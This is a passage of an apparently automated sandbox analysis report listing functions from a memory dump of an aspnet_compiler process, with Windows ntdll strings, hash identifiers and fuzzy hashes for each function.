                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-1918872054
                  • Opcode ID: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                  • Instruction ID: 14c70c00ace2cf385e95be5dcc18c6fad3235a4cb791e46fa6b4fd44021851bc
                  • Opcode Fuzzy Hash: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                  • Instruction Fuzzy Hash: CC918F71608345AFDB21EF69CC40EABBAECBF8475CF80496DF68496151E330D904CB62
                  Function 01360C00 Relevance: 5.3, Strings: 4, Instructions: 260COMMON
                  Download Yara Rule
                  Strings
                  • ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 013B55AE
                  • HEAP[%wZ]: , xrefs: 013B54D1, 013B5592
                  • ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 013B54ED
                  • HEAP: , xrefs: 013B54E0, 013B55A1
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
                  • API String ID: 0-1657114761
                  • Opcode ID: 75471b05f6c23b6efbc83a3e7c257cf1c60b8857c5e7e1cc1789cfba536b38d6
                  • Instruction ID: 488bfa1bcf72de115d54d58c9cbfdece90f74090eb16d76ff28f21415d95228e
                  • Opcode Fuzzy Hash: 75471b05f6c23b6efbc83a3e7c257cf1c60b8857c5e7e1cc1789cfba536b38d6
                  • Instruction Fuzzy Hash: 02A1F53460070ADFDB29DF28C482BBABBE9AF55308F14C56DE58A8B74AD734E844C751
                  Function 0138273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                  Download Yara Rule
                  Strings
                  • .Local, xrefs: 013828D8
                  • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 013C22B6
                  • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 013C21D9, 013C22B1
                  • SXS: %s() passed the empty activation context, xrefs: 013C21DE
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                  • API String ID: 0-1239276146
                  • Opcode ID: 86dd939acd15d939da005f8d77c8a059f3bf9f40c724262b8a7b055d6215b61b
                  • Instruction ID: 1a1ee300c9b291b85b4cd212b59fcdeb1ce698e78b742d9d8edb1f76480f3968
                  • Opcode Fuzzy Hash: 86dd939acd15d939da005f8d77c8a059f3bf9f40c724262b8a7b055d6215b61b
                  • Instruction Fuzzy Hash: 81A1BF35900329DBDF24EF69CC84BAAB7B5BF58758F1441EAE908A7251D7309E80CF90
                  Function 01384AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON
                  Download Yara Rule
                  Strings
                  • RtlDeactivateActivationContext, xrefs: 013C3425, 013C3432, 013C3451
                  • SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 013C3456
                  • SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 013C3437
                  • SXS: %s() called with invalid flags 0x%08lx, xrefs: 013C342A
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
                  • API String ID: 0-1245972979
                  • Opcode ID: 123724007e14483a4e64659380effcbbaf67b8981d48dd0eac5f6f4a312d5afe
                  • Instruction ID: d0e42d77ccdf684eaa15ad195c784fc98620936a0cfc1b613de9a8402042a2a0
                  • Opcode Fuzzy Hash: 123724007e14483a4e64659380effcbbaf67b8981d48dd0eac5f6f4a312d5afe
                  • Instruction Fuzzy Hash: 99612536644712ABDB22DF1DC881B2AF7E9FF90B18F14851DE895ABA41D730EC01CB91
                  Function 013564AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                  Download Yara Rule
                  Strings
                  • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 013B10AE
                  • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 013B1028
                  • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 013B106B
                  • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 013B0FE5
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                  • API String ID: 0-1468400865
                  • Opcode ID: 74599f59450e04012499f886d140c220481f56dfe8dc2fac2367c41dff17f39a
                  • Instruction ID: 15be40f7f44b8c8008e45e3d4fdd355fdf7c5f14436138363ff4f353fe48b61b
                  • Opcode Fuzzy Hash: 74599f59450e04012499f886d140c220481f56dfe8dc2fac2367c41dff17f39a
                  • Instruction Fuzzy Hash: 2171DDB1944345AFCB61DF18C885F9B7BA8AF54B6CF800968FD498B246D734D188CBD2
                  Function 0137245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                  Download Yara Rule
                  Strings
                  • minkernel\ntdll\ldrinit.c, xrefs: 013BA9A2
                  • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 013BA992
                  • apphelp.dll, xrefs: 01372462
                  • LdrpDynamicShimModule, xrefs: 013BA998
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-176724104
                  • Opcode ID: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                  • Instruction ID: 65da4b6960076a41a26e8c8b7aa93832230433ea551762129cfe0f600053987f
                  • Opcode Fuzzy Hash: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                  • Instruction Fuzzy Hash: D9315779A00205EBEB31DF5DD881EAABBB8FB84B0CF16405DFA0167665E7709881D790
                  Function 013D20DE Relevance: 5.0, Strings: 4, Instructions: 41COMMON
                  Download Yara Rule
                  Strings
                  • minkernel\ntdll\ldrinit.c, xrefs: 013D2104
                  • Process initialization failed with status 0x%08lx, xrefs: 013D20F3
                  • LdrpInitializationFailure, xrefs: 013D20FA
                  • @-, xrefs: 013D20EB
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-$LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-3674608905
                  • Opcode ID: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                  • Instruction ID: 429c891cd8a5780d0ea83333166f392c2ee5d7721ce2ac5993c2b8305f6c8dff
                  • Opcode Fuzzy Hash: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                  • Instruction Fuzzy Hash: C2F0C879640318AFE724EB5DDC42F963B68EB40F5CF104059FA407B281D5B0A904C695
                  Function 013629A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                  Download Yara Rule
                  Strings
                  • HEAP[%wZ]: , xrefs: 01363255
                  • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0136327D
                  • HEAP: , xrefs: 01363264
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                  • API String ID: 0-617086771
                  • Opcode ID: c6217daca6487d1435fa16e967efa13b63df7b291428cc0b4f67a86bc23697d9
                  • Instruction ID: 405fa722491db2c145987398547961949100d0488acd65d51f58ab2943a05e9d
                  • Opcode Fuzzy Hash: c6217daca6487d1435fa16e967efa13b63df7b291428cc0b4f67a86bc23697d9
                  • Instruction Fuzzy Hash: 2492BB70A04249DFDB25CF68C4447AEBBF9FF08308F19C069E859AB799D734A945CB50
                  Function 01360770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                  • API String ID: 0-4253913091
                  • Opcode ID: e3302f9d3582ae0b4cee7e734fd7c493e38d2df85ccf2e86925641897384f6f2
                  • Instruction ID: a33b7a1283463454c6cfa831e5552c58ea6a32ee9c0b887b362d3d1a8c083152
                  • Opcode Fuzzy Hash: e3302f9d3582ae0b4cee7e734fd7c493e38d2df85ccf2e86925641897384f6f2
                  • Instruction Fuzzy Hash: 01F1BF30600606DFEB29CF68C885BAABBF9FF44308F148169E5169B795D734E981CF90
                  Function 01376962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: $@
                  • API String ID: 0-1077428164
                  • Opcode ID: 087ce6f0ab08f35def266e31662e9f7d6a6456978b8b009bb58bcd8dde1f7551
                  • Instruction ID: 6651a0064d403e2943dc602d3db37b76d4c97da115d82f89e30bbc10959aa3e5
                  • Opcode Fuzzy Hash: 087ce6f0ab08f35def266e31662e9f7d6a6456978b8b009bb58bcd8dde1f7551
                  • Instruction Fuzzy Hash: 63C283716087459FEB35CF28C485BABBBE5AF88758F04892DF989C7241E738D805CB52
                  Function 0134A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: FilterFullPath$UseFilter$\??\
                  • API String ID: 0-2779062949
                  • Opcode ID: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                  • Instruction ID: 46c99536d704ca79dd5b925b3f62f343d4d36392d28bd960112b674200374c3b
                  • Opcode Fuzzy Hash: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                  • Instruction Fuzzy Hash: 61A17D769016299BDF31DF28CC88BEAB7B8EF44718F1041E9E909A7250D735AE84CF50
                  Function 01370BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                  Download Yara Rule
                  Strings
                  • minkernel\ntdll\ldrinit.c, xrefs: 013BA121
                  • LdrpCheckModule, xrefs: 013BA117
                  • Failed to allocated memory for shimmed module list, xrefs: 013BA10F
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-161242083
                  • Opcode ID: 255e5ca3e823349b3b2667eee4bbb5f90534bfae49aed3dc0a67abc0571bfe68
                  • Instruction ID: f327c6be9ac29c1b94ac4b548b4badfa25830051f63d201f0a9885887d96c198
                  • Opcode Fuzzy Hash: 255e5ca3e823349b3b2667eee4bbb5f90534bfae49aed3dc0a67abc0571bfe68
                  • Instruction Fuzzy Hash: EF71D174A0020ADFDF29DFACC981ABEB7F4FB45608F15402DE906EB615E734A941CB50
                  Function 01360A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                  • API String ID: 0-1334570610
                  • Opcode ID: bb713bfa9844102b49779dac35348f74bbbb3cbbbbd0f81d7302d242244bc86e
                  • Instruction ID: 9848a21c3b522db32eca47556c2a22aeb5fff55d84ba7da886181ca8c30c035c
                  • Opcode Fuzzy Hash: bb713bfa9844102b49779dac35348f74bbbb3cbbbbd0f81d7302d242244bc86e
                  • Instruction Fuzzy Hash: 6F61B0706003059FDB29CF28C481BAABBE9FF45708F14C55DE5898B79AD770E881CB91
                  Function 0140C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                  Download Yara Rule
                  Strings
                  • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0140C1C5
                  • PreferredUILanguages, xrefs: 0140C212
                  • @, xrefs: 0140C1F1
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                  • API String ID: 0-2968386058
                  • Opcode ID: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                  • Instruction ID: 96f783df0039460606f814382dcd54d89890e1f37b1f65d8a695d72edba7c0a8
                  • Opcode Fuzzy Hash: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                  • Instruction Fuzzy Hash: 1F416171E00209EBDF12DBD9C881BEEBBB8AB14714F1441BBE609A7690D7749A458B50
                  Function 013E4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                  • API String ID: 0-1373925480
                  • Opcode ID: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                  • Instruction ID: 701dce7895322c0984139021f897ce6520701983afa1c7530d58ebfae3957414
                  • Opcode Fuzzy Hash: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                  • Instruction Fuzzy Hash: 6141E172A04769CBEB25DB98C848BADBBF8FF59348F14045ADA01EB7D1D6349901CB10
                  Function 013D4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                  Download Yara Rule
                  Strings
                  • minkernel\ntdll\ldrredirect.c, xrefs: 013D4899
                  • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 013D4888
                  • LdrpCheckRedirection, xrefs: 013D488F
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                  • API String ID: 0-3154609507
                  • Opcode ID: cc8b71a0c4cddb300db310a7265973f286ca2cb283408bdedc2ac5528527c3fe
                  • Instruction ID: 97d5ab211be6814747f549e57572126f71f2aab73a75f42805c0b5d3048fd45c
                  • Opcode Fuzzy Hash: cc8b71a0c4cddb300db310a7265973f286ca2cb283408bdedc2ac5528527c3fe
                  • Instruction Fuzzy Hash: 8C41B037A042519BCB21CF6CF841A26BFE9BF49A98F060569ED98E7B11D731D800CB91
                  Function 01360BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                  • API String ID: 0-2558761708
                  • Opcode ID: f74b2dd9c00418598c4b379c9d46844ef2432fbe98e0305bc29917413e001037
                  • Instruction ID: b3ca139757fc109a40d09d7d46799f4a542110cdb677d86e07b09fa291b7460f
                  • Opcode Fuzzy Hash: f74b2dd9c00418598c4b379c9d46844ef2432fbe98e0305bc29917413e001037
                  • Instruction Fuzzy Hash: E011E131315106DFDB2DDB28C482BB6B3A8EF4061EF18C129F506DBA99EB38E840C750
                  Function 013603E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: ___swprintf_l
                  • String ID: #%u
                  • API String ID: 48624451-232158463
                  • Opcode ID: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                  • Instruction ID: bd6f70c7780f555dd50b843694e475076ddfdb4592658b382d05b292d4c9621e
                  • Opcode Fuzzy Hash: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                  • Instruction Fuzzy Hash: 93716A71A0010A9FDF05DFA8C990BAEB7F8FF18708F144065EA05A7256EA34ED01CB64
                  Function 0135A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                  Download Yara Rule
                  Strings
                  • LdrResSearchResource Exit, xrefs: 0135AA25
                  • LdrResSearchResource Enter, xrefs: 0135AA13
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                  • API String ID: 0-4066393604
                  • Opcode ID: b9ea99fb532cab31668660a4313b222e8c29a7a2f57df3169cda23b0cde28d42
                  • Instruction ID: 59be039f12651de54c0c843b9ba1b72bd492ec710cef834e334eefcff565eb10
                  • Opcode Fuzzy Hash: b9ea99fb532cab31668660a4313b222e8c29a7a2f57df3169cda23b0cde28d42
                  • Instruction Fuzzy Hash: 14E17171E00219ABEF62CE9DC980FEEBBB9BF44718F144626EE01E7651E7349940DB50
                  Function 0141A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: `$`
                  • API String ID: 0-197956300
                  • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                  • Instruction ID: 23fff3db130d2d4f91d33ab8c3e291e06f2c5a15538e69929bfd501a1bc3c616
                  • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                  • Instruction Fuzzy Hash: CFC1F5312053829BE725CF29C840B6BBBE5BFD4318F284A2EF699C72A8D774D505CB41
                  Function 013CE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID: Legacy$UEFI
                  • API String ID: 2994545307-634100481
                  • Opcode ID: cdd9a5a1836f68a495be1446f1460b91865b1778a9a1fe5b34b5651723d166b3
                  • Instruction ID: 9bcc6ddb90b4463ffcd7eceb7f5e2194632f8c7794aabb24bce8c6c463a599e3
                  • Opcode Fuzzy Hash: cdd9a5a1836f68a495be1446f1460b91865b1778a9a1fe5b34b5651723d166b3
                  • Instruction Fuzzy Hash: C2611972E007199FDB15DFA88940AAEBFB9FB48B08F14407DE659EB251D731AD40CB50
                  Function 013504E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                  Download Yara Rule
                  Strings
                  • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0135063D
                  • kLsE, xrefs: 01350540
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                  • API String ID: 0-2547482624
                  • Opcode ID: 70153d57de478dba8726e3b1318b591d192850011dd400c40ea4d6143e1f4fe9
                  • Instruction ID: c894a102c96acc725987bbcdd9962d6a2d42dd35cb673c2b2c67d26d68a7836e
                  • Opcode Fuzzy Hash: 70153d57de478dba8726e3b1318b591d192850011dd400c40ea4d6143e1f4fe9
                  • Instruction Fuzzy Hash: 6951B0715047428FD768DF68C580AA7BBE4EF84B18F10483EFAEA87241E772D545CBA1
                  Function 0135A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                  Download Yara Rule
                  Strings
                  • RtlpResUltimateFallbackInfo Enter, xrefs: 0135A2FB
                  • RtlpResUltimateFallbackInfo Exit, xrefs: 0135A309
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                  • API String ID: 0-2876891731
                  • Opcode ID: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                  • Instruction ID: 8b209eab2b491fb316fae7135a9b271300656ae62719c3490b76803c526a8ff1
                  • Opcode Fuzzy Hash: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                  • Instruction Fuzzy Hash: A141BC31A04649DBDB15DF59C880FAA7BB8FF84B0CF1442A5EE04DB692E6B5D900CB50
                  Function 0138A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: InitializeThunk
                  • String ID: Cleanup Group$Threadpool!
                  • API String ID: 2994545307-4008356553
                  • Opcode ID: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                  • Instruction ID: 3698edbd5994ae251d7d2f6a70869bd340137887eab39dfb9afb54b33c23e6f4
                  • Opcode Fuzzy Hash: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                  • Instruction Fuzzy Hash: 6F01D1B2251704AFD311EF14CD46B2677E8E78572DF01893AE658C7194E334D904CB4A
                  Function 0135C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: MUI
                  • API String ID: 0-1339004836
                  • Opcode ID: 8de56e7bcecc78cde520053ce5f3aef783eabd8ada9888d0d60d78aa9265096d
                  • Instruction ID: 9910eb8496ce67e4d5afcc7d2bcc44e774d5fde7a078135378e46f3c33474a05
                  • Opcode Fuzzy Hash: 8de56e7bcecc78cde520053ce5f3aef783eabd8ada9888d0d60d78aa9265096d
                  • Instruction Fuzzy Hash: 74825C75E003198BEB65CFA9C880BEDBBB9BF48B18F148169DD19AB351D7309D81CB50
                  Function 013ECC20 Relevance: 1.6, Strings: 1, Instructions: 353COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: w
                  • API String ID: 0-476252946
                  • Opcode ID: b18a64696f98517a665f53b92d8c41a246d6b699a9cdd79f70936f1b79e67b56
                  • Instruction ID: 4d5854791ac7b5551a16299c21417fc70b70f7920a42d932899dcf7f18604a0b
                  • Opcode Fuzzy Hash: b18a64696f98517a665f53b92d8c41a246d6b699a9cdd79f70936f1b79e67b56
                  • Instruction Fuzzy Hash: ADD18E70900329ABDB28CF98C4456BFFBF5FF84708F188459E8999B681E335E992D750
                  Function 013D6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID: 0-3916222277
                  • Opcode ID: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
                  • Instruction ID: d2742f80ebf4a8dc9407ae4333dcda9c6c93bfa31c0dda0ce2bcf22be8833c22
                  • Opcode Fuzzy Hash: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
